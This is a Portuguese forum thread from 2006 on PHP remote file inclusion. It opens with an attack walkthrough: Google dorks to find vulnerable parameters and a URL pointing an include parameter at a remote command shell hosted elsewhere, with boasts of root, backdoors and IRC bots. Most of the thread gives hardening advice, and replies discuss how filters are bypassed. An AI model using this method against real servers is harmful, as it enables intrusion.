PHP Injection (Prevenção)

Started by Kratos, 17 de March , 2006, 02:32:03 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Kratos

PHP Injection

Vou Resumir aqui como se faz para achar um servidor vulneravel para injeção de comandos PHP.
A primeira coisa que voce deve fazer é, entender o que é uma string:
php?page=
php?inc=
php?x=
e varias outras...
Esses sao so sites que vc ira testar, portanto facilita muito a vida, se vc colokar no google:
allinurl: string
Pois dai o google ira achar a string no endereco de varios site por exemplo:
www.site.com/modules.php?page=
digamos que voce queira testar esse site, então é simples você pega uma CMD (sempre usei esse nome), que é um exploit, para ver se ele é vulneravel.
http://www.lorenzo4ever.de/tmp/cse.gif?&cmd= <--- CMD (exploit)
Entao o endereco inteiro vai ficar assim:
http://www.site.com/modules.php?page.../cse.gif?&cmd=
É isso! Simples nao, se for vulneravel, voce pode brincar com o servidor, rodando bots nele (é o que eu mais faco para o IRC), conseguindo root, rodar backdoor, conexao reversa, depende do gosto de cada um.
Lembrando que todos os comandos sao colokados depois do "&cmd="
http://www.lorenzo4ever.de/tmp/cse.gif?&cmd=comando
E também os comandos são separados por ;
http://www.lorenzo4ever.de/tmp/cse.g... ... ;comando...

(bem resumido mesmo)

Agora a Prevenção :

Primeiro, edite o php.ini especifique as opções:

allow_url_fopen = Off

Isso vai impedir que um include ou um open que não esteja hardcoded, ou seja, que tenham seus valores fornecidos por uma variável, façam includes remotos, como no exemplo citado no início deste post.

safe_mode = On

Isto impedirá que os scripts em PHP abram arquivos que não sejam do mesmo dono (UID) do script. Mas não esqueça de dar um chown nos scripts para um usuário sem privilégios (o nobody tá de bom tamanho), criando um usuário phpscripts ou algo assim.


register_globals = Off

O "register globals" ligado diz para o PHP que qualquer variável passada como parâmetro deve ser reconhecida como uma variável válida dentro do código PHP. Isto facilita muito as coisas pois com isso não precisamos ficar associando o array $_REQUEST a variáveis internas, mas ao mesmo tempo é perigoso, pois permite a um atacante controlar variáveis internas que você não tenha corretamente incializado.


magic_quotes_gpc = On

Se você não tem conhecimento sobre como "sanitizar" variáveis antes de enviá-las para bancos de dados ou programas externos, uma boa opção é deixar o "magic quotes" ligado, pois ele dificulta bastante a manipulação de strings para, por exemplo, provocar um SQL Injection no seu acesso ao banco.


display_errors = Off

Ao invés de visualizar os erros de programação no browser, use o log do servidor. Esta opção impede que atacantes provoquem erros na sua aplicação para descobrirem paths da estrutura de arquivos.

Leia as demais opções do seu php.ini, especialmente se você estiver usando o PHP sob IIS/Windows. Existem coisas importantes lá, mas que nunca tive a oportunidade de usar.

Além das configurações, algumas práticas de programação podem salvar a sua pele. Por exemplo, NUNCA PASSE O NOME DE UM ARQUIVO COMO PARÂMETRO PARA INCLUDE OU FOPEN! É muito comum você encontrar sites com URLs do tipo:

Citar:
http://www.site.com/index.php?inc=contato
 
E então, quando mudamos a palavra contato para qualquer outra coisa (por exemplo "testnotfound") o PHP exibe a fatídica mensagem de erro de "Arquivo não encontrado". E atenção: NÃO CONFIE NO SEU CÓDIGO SE VOCÊ ESTÁ ACRESCENTANDO UM PATH COMPLETO E A EXTENSÃO DO ARQUIVO NA HORA DE INCLUIR, por exemplo:


Código PHP:

include("/home/asnocoder/www/includes/".$inc.".php");

Não confie nisso! Continua perfeitamente possível incluir qualquer arquivo do seu sistema através da manipulação correta da variável $inc.

E já que estamos falando de includes, NUNCA COLOQUE EXTENSÃO .inc NOS SEUS SCRIPTS OU BIBLIOTECAS. Estas extensões não são tratadas pelo webserver e o código fonte do programa é exibido caso eles sejam chamados diretamente no browser. Você tem três opções:

1. Renomear estes arquivos para "arquivo.inc.php", por exemplo (e alterar os includes que fazem referência a eles).
2. Mover estes arquivos para uma parte da árvore de diretórios que não seja acessível diretamente pelo browser.
3. Proteger o diretório onde estes arquivos estão. Segue exemplo de diretrizes do Apache:


Código:

<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
   Options None
   Order Allow, Deny
   Deny from All
   AllowOverride None
   Satisfy All
</Location>

Quando eu tenho que fazer um include/fopen de acordo com uma opção do usuário, eu costumo criar um ninho de IFs e passar como parâmetro para a página apenas um número, ou um código qualquer, fazendo algo do tipo:


Código PHP:
$inc = "index.php"; // Página default
if($_GET['opcao']=="1") { $inc = "pagina1.php"; }
if($_GET['opcao']=="2") { $inc = "pagina2.php"; }
include($inc);


Existem outras dicas que ainda podemos colocar aqui, mas resumindo é só


Fonte: google (pesquisa e dedicação)
::: "A vida é bela pra quem sabe curtir" :::





slul

tem jeito mais facil =/



exemplo:


bloquear o conteudo do include usando o strpos

if(strpos(http://))
{
echo ("Flho duma puta qrewndo fazer php inject é?!?!?");
}
acho q eh isso =P

ou tbm adicionar um conf que fale quais modulos podem ser chamados no include

daew coloca um include sem var da conf no index


include conf.php;


flws

bloodrain

ai o cara vai larga num ftp ou num https e vc se fode XD

rog

beleza bloodrain

um endereço ip tambem cruza isso direto

Quote$inc = "index.php"; // Página default
if($_GET['opcao']=="1") { $inc = "pagina1.php"; }
if($_GET['opcao']=="2") { $inc = "pagina2.php"; }
include($inc);

muitas vezes vc nao tem opçao de fazer regulagem no php.ini
ainda tem um monte de servidores que estao com globals a on

eu acho que entao daria para burlar esse sistema assim

index.php?inc=minha_backdor

as condiçoes sobre o parametro opcao nao estao preenchidas e possivelmente o commando include chamara a variavel $inc que possivelmente nao sera esmagada pela declaraçao $inc = "index.php";

se tevesse botado o commando include dentre das condiçoes nao teria esse commentario
 ;D

rog

@bloodrain

vc e o bitstorm ?
realty.sys is corrupt :  reboot the universe (Y/N)

Anonymous

eu uso meus includes assim
$vai = $_GET['vai'];
if (!isset($vai))
include("home.php");
else if(ereg("/",$vai))
include("forbidden.php");
else {
if (file_exists("$vai.php"))
include_once("$vai.php");
else include("notfound.php");
}
?>

Não vejo como burlar...

rog

lol

a melhora regra e de nao incluir variavel

quase ninguem usa dado constante

define ("path", "./config.php");

include(path);

isso nao e burlavel

rog
realty.sys is corrupt :  reboot the universe (Y/N)